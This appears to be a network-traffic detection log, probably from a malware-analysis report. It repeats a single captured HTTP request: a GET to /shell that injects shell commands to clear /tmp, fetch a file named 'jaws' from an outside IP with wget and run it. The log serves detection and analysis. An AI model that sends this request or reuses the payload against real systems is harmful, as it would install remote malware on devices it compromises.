Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
